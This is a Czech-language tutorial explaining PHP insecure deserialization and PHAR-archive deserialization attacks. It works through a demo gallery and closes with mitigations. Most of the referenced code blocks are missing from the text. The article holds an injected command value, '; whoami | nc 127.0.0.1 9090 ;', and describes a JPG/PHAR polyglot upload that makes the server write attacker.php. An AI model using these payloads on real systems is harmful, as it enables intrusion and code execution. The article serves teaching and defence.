Deserializační útoky v PHP s využitím Phar archivů
V moderním světě webových aplikací se otázky bezpečnosti stávají stále důležitějšími, zejména při práci s dynamickými daty a objekty. Serializace a deserializace jsou běžně používané techniky pro ukládání nebo přenos dat mezi různými částmi aplikace. Přesto mohou představovat vážná rizika, pokud nejsou správně ošetřeny. Tento článek se zaměřuje na problematiku zneužití deserializace v prostředí PHP, zejména na zranitelnosti spojené s objekty a archivy PHAR.
Než se ponoříme do složitějších deserializačních útoků, je důležité nejprve pochopit, jak serializace a deserializace fungují na základní úrovni. Tento základní přehled Vám pomůže lépe pochopit principy útoku, které rozvineme ve druhé části. Zaměříme se na složitější metodu, útoku prostřednictvím Phar archivu, která má výhodu v tom, že aplikace nemusí vůbec odesílat ani přijímat deserializovaná data v tradičním smyslu.
Serializace objektu v PHP
Serializace v PHP umožňuje převést objekt na textovou reprezentaci, kterou lze snadno uložit nebo odeslat. Tato vlastnost je zásadní pro práci s objekty, například při jejich uchovávání či přenosu mezi systémy. Ukážeme si, jak serializace funguje na příkladu jednoduché třídy Car a analyzujeme výsledný serializovaný výstup.
Kód třídy Car
Když serializujeme objekt Car, získáme následující řetězec:
Rozbor serializovaného výstupu
Pojďme si podrobně rozebrat jednotlivé části tohoto serializovaného výstupu:
O:3:"Car"
- O označuje, že se jedná o objekt.
- 3 udává délku názvu třídy ("Car").
- "Car" je název třídy, z níž byl objekt vytvořen.
3
- Tento údaj značí počet vlastností objektu, v tomto případě 3 ($color, $brand, $price).
- Uvnitř složených závorek jsou jednotlivé vlastnosti objektu.
s:10:"Carcolor"
- s značí, že jde o řetězec.
- 10 udává délku názvu vlastnosti (včetně prefixu). "Carcolor" je název vlastnosti, který je v případě privátní vlastnosti uložen jako "\0Car\0color". Tento zápis používá nulový bajt (\0) k oddělení názvu třídy a názvu vlastnosti, aby zajistil unikátnost.
s:4:"blue"
- Opět s značí řetězec.
- 4 udává délku hodnoty "blue", což je hodnota pro vlastnost $color.
s:10:"Carbrand"
- Podobně jako výše, 10 značí, že název vlastnosti je "\0Car\0brand".
s:3:"BMW"
- 3 označuje délku hodnoty "BMW", což je hodnota pro vlastnost $brand.
s:10:"Carprice"
- Délka názvu vlastnosti pro $price je opět 10, což znamená, že je serializován jako "\0Car\0price".
i:350
- i značí celé číslo (integer).
- 350 je hodnota pro vlastnost $price.
Magické Metody a Zranitelnost Insecure Deserialization
Abychom pochopili, jak lze serializaci zneužít, je důležité zmínit magické metody v PHP. Magické metody jsou takové, které se automaticky spouštějí bez explicitního volání. Příkladem je destruktor __destruct(), který se spustí automaticky těsně před zánikem objektu. Lze jej využít pro specifické akce, například k uzavření souborů nebo uvolnění systémových zdrojů.
Další důležitou metodou je __wakeup(), která se spouští automaticky při deserializaci objektu a může se například využívat k obnovení připojení k databázi nebo k načtení jiných externích zdrojů.
Více informací o magických metodách najdete v dokumentaci PHP.
Poznámka: Existují i magické funkce, které fungují obdobně.
Upravená Třída Car pro Ukázku Deserializace
Nyní upravíme naši třídu Car, aby obsahovala destruktor, a zároveň přijímala neošetřená serializovaná data jako POST parametr.
Tento kód je nyní zranitelný, protože neověřuje obsah deserializovaných dat. Útočník tak může poslat serializovaná data s upravenými hodnotami.
serializovaná data:
V tomto příkladu bude proměnná $color obsahovat příkaz "; whoami | nc 127.0.0.1 9090 ;". Jakmile se spustí destruktor, hodnota proměnné $color se vloží do funkce system, což povede ke spuštění kódu na serveru.
Tento příklad demonstruje základní PHP deserializační útok. Nicméně takové provedení je poměrně přímočaré a reálné aplikace mohou být zranitelné na mnohem sofistikovanější způsoby, jako například pomocí Phar archivu.
PHAR deserializace a její zneužití
PHAR archivy fungují podobně jako Java JAR archivy, ale jsou určeny především pro PHP aplikace. Umožňují balení celé PHP aplikace nebo knihovny do jediného souboru, což zjednodušuje distribuci a nasazení. Když je aplikace zabalena v PHAR archivu, může se spouštět stejně jako standardní PHP skript.
Struktura PHAR archivu
PHAR archivy obsahují čtyři základní komponenty:
- Stub – Vstupní skript, který se spouští při vykonání PHAR souboru. Obsahuje kód potřebný pro inicializaci a zpracování obsahu archivu.
- Manifest – Seznam všech souborů a jejich metadata. Tento přehled umožňuje PHP identifikovat strukturu archivu a načítat požadované soubory.
- File Contents – Skutečné soubory a data, které jsou v archivu obsažené. Patří sem PHP skripty, obrázky, styly a další soubory nutné pro aplikaci.
- Signature – Slouží k ověření integrity archivu a zajišťuje, že archiv nebyl po vytvoření změněn nebo poškozen.
Dle PHP dokumentace je část Manifest uložena ve formátu serializovaných dat.
Část dokumentace:
Hexdump jednoduchého PHAR archivu:
Není nezbytné mít specifický prefix u PHAR souboru, ale klíčové je zachovat správný formát stubu, aby zůstal validní. Také je nutné zajistit, že za podpisem PHAR archivu nejsou žádná dodatečná data, jinak by se archiv stal neplatným.
Demonstrace PHP galerie a její skripty
Pro demonstraci jsme vytvořili jednoduchou PHP galerii.
V této galerii jsou klíčové dva PHP skripty: upload.php a show.php. Skript upload.php slouží k nahrávání obrázků do adresáře /uploads, zatímco show.php zajišťuje zobrazení detailů obrázků.
upload.php
Skript upload.php přijímá obrázky pouze ve formátu JPEG, PNG a GIF a ukládá je s jedinečným názvem do adresáře /uploads.
show.php
show.php zobrazuje informace o obrázku pomocí třídy ImageInfo, která zajišťuje kontrolu formátu obrázku a logování operací.
Tvorba škodlivého PHAR archivu
Pro demonstraci zneužití vytvoříme škodlivý PHAR archiv. Kód, který k tomu použijeme, je uveden níže.
- Třída ImageInfo: Konstruktor této třídy inicializuje tři proměnné: $logFile, $imagePath a $imageName. Proměnná $logFile směřuje na /var/www/html/attacker.php, což umožňuje vytvoření souboru přístupného přes webový server. Tento soubor může obsahovat škodlivý kód, v našem případě demonstrujeme tuto možnost na kódu <?php phpinfo(); ?>, který je uložen v proměnné $imageName.
- Vytvoření PHAR archivu: Kód vytváří nový PHAR archiv s názvem test.phar a aktivuje buffering, což znamená, že změny v archivu nejsou ihned aplikovány, ale ukládají se do paměti.
- Nastavení stubu: Pomocí funkce setStub se do archivu přidává obsah souboru opo.jpg. Jak jsem již naznačil dříve, před začátkem stubu můžeme vložit libovolný prefix. V tomto případě, když vkládáme celý obrázek, to z něj dělá perfektní polyglot soubor, který slouží jak jako JPG obrázek, tak jako PHAR archiv. Dále je zde volání funkce __HALT_COMPILER(). Tato funkce zastavuje zpracování PHP kódu a umožňuje zahrnutí binárních dat bez obav z chyb, které by mohly vzniknout při analýze PHP parserem. Díky tomu je možné mít jeden soubor, který kombinuje PHP kód s binárními daty, aniž by došlo k problémům s interpretací.
- Nastavení metadata: jako metadata vložíme náší classu která bude v pharu formátu v deserializovaný podobě.
- Přidání textového souboru: Do archivu je přidán jednoduchý textový soubor test.txt s obsahem "test".
- Zastavení bufferingu: stopBuffering() aplikuje všechny změny a ukládá PHAR archiv.
Po vytvoření tohoto souboru a změně jeho přípony na .jpg se bude chovat jako běžný JPG soubor.
Takový soubor se nám bez problémů podaří nahrát do naší galerie.
Deserializace a spuštění útoku
Když aplikace volá show.php a posílá požadavek, který odkazuje na obrázek s prefixem phar://, PHP interpreter začne číst soubor jako PHAR archiv. Tento specifický phar:// wrapper umožňuje přístup k souborům uvnitř PHAR archivu a automaticky načítá jeho metadata. Co je kritické, metadata jsou uložena ve formě serializovaných dat, což vede k tomu, že PHP provede deserializaci objektů během přístupu k PHAR archivu.
Krok za krokem
Zpracování požadavku show.php
Útočník odešle POST požadavek s parametry imagePath=phar://uploads/672393d19213c3.09561991.jpg a imageName=672393d19213c3.09561991.jpg, PHP začne interpretovat soubor uploads/672393d19213c3.09561991.jpg jako PHAR archiv díky použití phar:// wrapperu.
První klíčový moment zranitelnosti nastává při kontrole souboru v PHP přes funkci file_exists($this->imagePath). Jakmile PHP začne pracovat s PHAR archivem, načítá automaticky jeho metadata, která obsahují serializovaný objekt útočníkovy třídy ImageInfo. PHP pak tento objekt deserializuje a obnoví tak původní data a stav proměnných včetně vlastností $logFile a $imageName, které útočník specifikoval při vytvoření PHAR archivu.
Toto riziko platí nejen pro file_exists(), ale pro všechny funkce pracující s lokálními soubory, jako např. is_file(), stat(), unlink(), nebo copy().
Nastavení škodlivých vlastností
Během deserializace jsou do objektu ImageInfo načteny útočníkem definované hodnoty:
- $logFile je nastaveno na /var/www/html/attacker.php.
- $imageName je nastaveno na <?php phpinfo(); ?>
Využití destruktoru
Vlastnost $logFile je nastavena na cestu /var/www/html/attacker.php, kam destruktor __destruct() vkládá obsah $imageName. Tento destruktor se aktivuje, když objekt ImageInfo zanikne. Tímto způsobem útočník přinutí skript vytvořit nový PHP soubor attacker.php s obsahem <?php phpinfo(); ?>
Spuštění škodlivého kódu
Po vytvoření souboru attacker.php na serveru může útočník otevřít URL http://<server>/attacker.php a spustit vložený kód. V našem případě dojde k provedení příkazu phpinfo().
Poznámky a předpoklady k útoku
Z principu funkčnosti PHAR archivů je zranitelnost využívající metadata omezena na dvě konkrétní magické metody __destruct a __wakeup. Důvodem je způsob, jakým PHP wrapper phar:// přistupuje k těmto archivům a načítá jejich obsah
PHAR wrapper umožnuje deserializovat pouze lokální soubory.
V PHP 8.0 a novějších verzích byla zavedena bezpečnostní opatření, která omezují automatickou deserializaci PHAR archivů, což výrazně ztěžuje možnost zneužití deserializačních zranitelností, které byly snadněji zneužitelné ve starších verzích, jako je například PHP 7.3.
Zneužití bez přístupu ke zdrojovému kódu
V reálném prostředí se často setkáváme se situací, kdy nemáme přístup ke zdrojovému kódu aplikace, kterou testujeme. V takovém případě nemáme přímý přístup k informacím o tom, jak vypadají třídy ani jaké metody nebo vlastnosti jsou dostupné pro vytvoření tzv. gadgetu – objektu, který při deserializaci vyvolá nechtěnou funkci.
Naštěstí jsou aplikace v praxi složitější a často využívají knihovny nebo frameworky, které jsou veřejně známé a důkladně analyzované. Právě zde přichází do hry projekt PHPGGC (PHP Generic Gadget Chains), dostupný na GitHubu: PHPGGC na GitHubu. Tento nástroj shromažďuje a spravuje seznam zranitelných tříd a gadgetů pro různé knihovny a frameworky, které se často objevují v PHP projektech, například Symfony, Laravel nebo Zend Framework.
PHPGGC poskytuje předem připravené gadgety pro deserializační zranitelnosti ve třídách těchto knihoven, což umožňuje útočníkům efektivněji využít serializační útok i bez přímého přístupu ke zdrojovému kódu aplikace. Tímto způsobem lze zneužít zranitelnosti nejen v aplikacích, kde máme zdrojový kód k dispozici, ale i tam, kde kód není dostupný.
Mitigace
Pro ochranu proti PHP deserializačním útokům doporučujeme několik kroků. Nejprve, pokud je to možné, zvažte zablokování phar wrapperu v PHP, který může být zneužit k deserializaci škodlivého kódu z phar souborů.
Další důležité opatření je aplikace kontrol integrity na serializované objekty, například pomocí digitálních podpisů. Tyto kontroly zajistí, že aplikace nezpracuje podvržené nebo pozměněné objekty, což pomáhá ochránit data před manipulací.
Pokud je to možné, provádějte deserializaci v izolovaném prostředí s nízkými oprávněními tak můžete minimalizovat potenciální dopady, pokud by k útoku došlo. Doporučujeme také logovat všechny chyby a výjimky při deserializaci, zejména situace, kdy příchozí data nesplňují očekávaný typ nebo deserializace selže, protože to může být známka pokusu o útok.